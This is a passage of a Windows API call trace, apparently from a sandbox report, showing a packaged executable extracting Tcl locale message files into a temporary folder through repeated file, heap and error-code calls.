lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg") returned 64 [0037.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\it_ch.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.524] GetLastError () returned 0x2 [0037.524] SetLastError (dwErrCode=0x2) [0037.524] GetLastError () returned 0x2 [0037.524] SetLastError (dwErrCode=0x2) [0037.524] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg", lpFilePart=0x0) returned 0x3f [0037.524] GetLastError () returned 0x2 [0037.524] SetLastError (dwErrCode=0x2) [0037.524] GetLastError () returned 0x2 [0037.524] SetLastError (dwErrCode=0x2) [0037.524] GetLastError () returned 0x2 [0037.524] SetLastError (dwErrCode=0x2) [0037.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg") returned 64 [0037.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\it_ch.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\it_ch.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.529] GetFileType (hFile=0x10c) returned 0x1 [0037.529] htonl (hostlong=0xf4000000) returned 0xf4 [0037.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.529] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xf4, lpOverlapped=0x0) returned 1 [0037.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.530] CloseHandle (hObject=0x10c) returned 1 [0037.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.530] htonl (hostlong=0x30000000) returned 0x30 [0037.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.531] GetFileType (hFile=0x10c) returned 0x1 [0037.531] htonl (hostlong=0x41765700) returned 0x577641 [0037.531] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2641, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.531] htonl (hostlong=0xa020000) returned 0x20a [0037.531] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20a) returned 0x550600 [0037.531] htonl (hostlong=0xa020000) returned 0x20a [0037.531] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.531] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.531] htonl (hostlong=0x80060000) returned 0x680 [0037.531] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x680) returned 0x55e278 [0037.531] htonl (hostlong=0xa020000) returned 0x20a [0037.531] htonl (hostlong=0x80060000) returned 0x680 [0037.531] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.531] CloseHandle (hObject=0x10c) returned 1 [0037.531] GetLastError () returned 0x0 [0037.531] SetLastError (dwErrCode=0x0) [0037.531] GetLastError () returned 0x0 [0037.531] SetLastError (dwErrCode=0x0) [0037.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.531] GetFileType (hFile=0x10c) returned 0x1 [0037.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.532] CloseHandle (hObject=0x10c) returned 1 [0037.532] GetLastError () returned 0x0 [0037.532] SetLastError (dwErrCode=0x0) [0037.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.532] GetFileType (hFile=0x10c) returned 0x1 [0037.532] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.533] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.533] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.533] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.533] CloseHandle (hObject=0x10c) returned 1 [0037.533] GetLastError () returned 0x0 [0037.533] SetLastError (dwErrCode=0x0) [0037.533] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg") returned 61 [0037.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ja.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.533] GetLastError () returned 0x2 [0037.533] SetLastError (dwErrCode=0x2) [0037.533] GetLastError () returned 0x2 [0037.533] SetLastError (dwErrCode=0x2) [0037.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg", lpFilePart=0x0) returned 0x3c [0037.533] GetLastError () returned 0x2 [0037.534] SetLastError (dwErrCode=0x2) [0037.534] GetLastError () returned 0x2 [0037.534] SetLastError (dwErrCode=0x2) [0037.534] GetLastError () returned 0x2 [0037.534] SetLastError (dwErrCode=0x2) [0037.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg") returned 61 [0037.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ja.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ja.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.534] GetFileType (hFile=0x10c) returned 0x1 [0037.534] htonl (hostlong=0x80060000) returned 0x680 [0037.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.534] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x680, lpOverlapped=0x0) returned 1 [0037.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.535] CloseHandle (hObject=0x10c) returned 1 [0037.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.536] htonl (hostlong=0x30000000) returned 0x30 [0037.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.536] GetFileType (hFile=0x10c) returned 0x1 [0037.536] htonl (hostlong=0x4b785700) returned 0x57784b [0037.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c284b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.536] htonl (hostlong=0x3d010000) returned 0x13d [0037.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13d) returned 0x550600 [0037.536] htonl (hostlong=0x3d010000) returned 0x13d [0037.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.536] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.536] htonl (hostlong=0xd2030000) returned 0x3d2 [0037.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3d2) returned 0x550748 [0037.536] htonl (hostlong=0x3d010000) returned 0x13d [0037.536] htonl (hostlong=0xd2030000) returned 0x3d2 [0037.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.536] CloseHandle (hObject=0x10c) returned 1 [0037.537] GetLastError () returned 0x0 [0037.537] SetLastError (dwErrCode=0x0) [0037.537] GetLastError () returned 0x0 [0037.537] SetLastError (dwErrCode=0x0) [0037.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.537] GetFileType (hFile=0x10c) returned 0x1 [0037.537] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.537] CloseHandle (hObject=0x10c) returned 1 [0037.537] GetLastError () returned 0x0 [0037.537] SetLastError (dwErrCode=0x0) [0037.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.537] GetFileType (hFile=0x10c) returned 0x1 [0037.537] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.538] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.538] CloseHandle (hObject=0x10c) returned 1 [0037.538] GetLastError () returned 0x0 [0037.538] SetLastError (dwErrCode=0x0) [0037.538] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg") returned 61 [0037.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.538] GetLastError () returned 0x2 [0037.538] SetLastError (dwErrCode=0x2) [0037.538] GetLastError () returned 0x2 [0037.538] SetLastError (dwErrCode=0x2) [0037.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg", lpFilePart=0x0) returned 0x3c [0037.538] GetLastError () returned 0x2 [0037.538] SetLastError (dwErrCode=0x2) [0037.538] GetLastError () returned 0x2 [0037.538] SetLastError (dwErrCode=0x2) [0037.538] GetLastError () returned 0x2 [0037.538] SetLastError (dwErrCode=0x2) [0037.538] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg") returned 61 [0037.538] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.539] GetFileType (hFile=0x10c) returned 0x1 [0037.539] htonl (hostlong=0xd2030000) returned 0x3d2 [0037.539] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.539] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3d2, lpOverlapped=0x0) returned 1 [0037.540] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.540] CloseHandle (hObject=0x10c) returned 1 [0037.540] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550748 | out: hHeap=0x530000) returned 1 [0037.540] htonl (hostlong=0x30000000) returned 0x30 [0037.540] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.540] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.541] GetFileType (hFile=0x10c) returned 0x1 [0037.541] htonl (hostlong=0x88795700) returned 0x577988 [0037.541] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2988, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.541] htonl (hostlong=0x9c000000) returned 0x9c [0037.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9c) returned 0x55cfe0 [0037.541] htonl (hostlong=0x9c000000) returned 0x9c [0037.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.541] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.541] htonl (hostlong=0x17010000) returned 0x117 [0037.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.541] htonl (hostlong=0x9c000000) returned 0x9c [0037.541] htonl (hostlong=0x17010000) returned 0x117 [0037.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.541] CloseHandle (hObject=0x10c) returned 1 [0037.541] GetLastError () returned 0x0 [0037.541] SetLastError (dwErrCode=0x0) [0037.541] GetLastError () returned 0x0 [0037.541] SetLastError (dwErrCode=0x0) [0037.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.541] GetFileType (hFile=0x10c) returned 0x1 [0037.541] 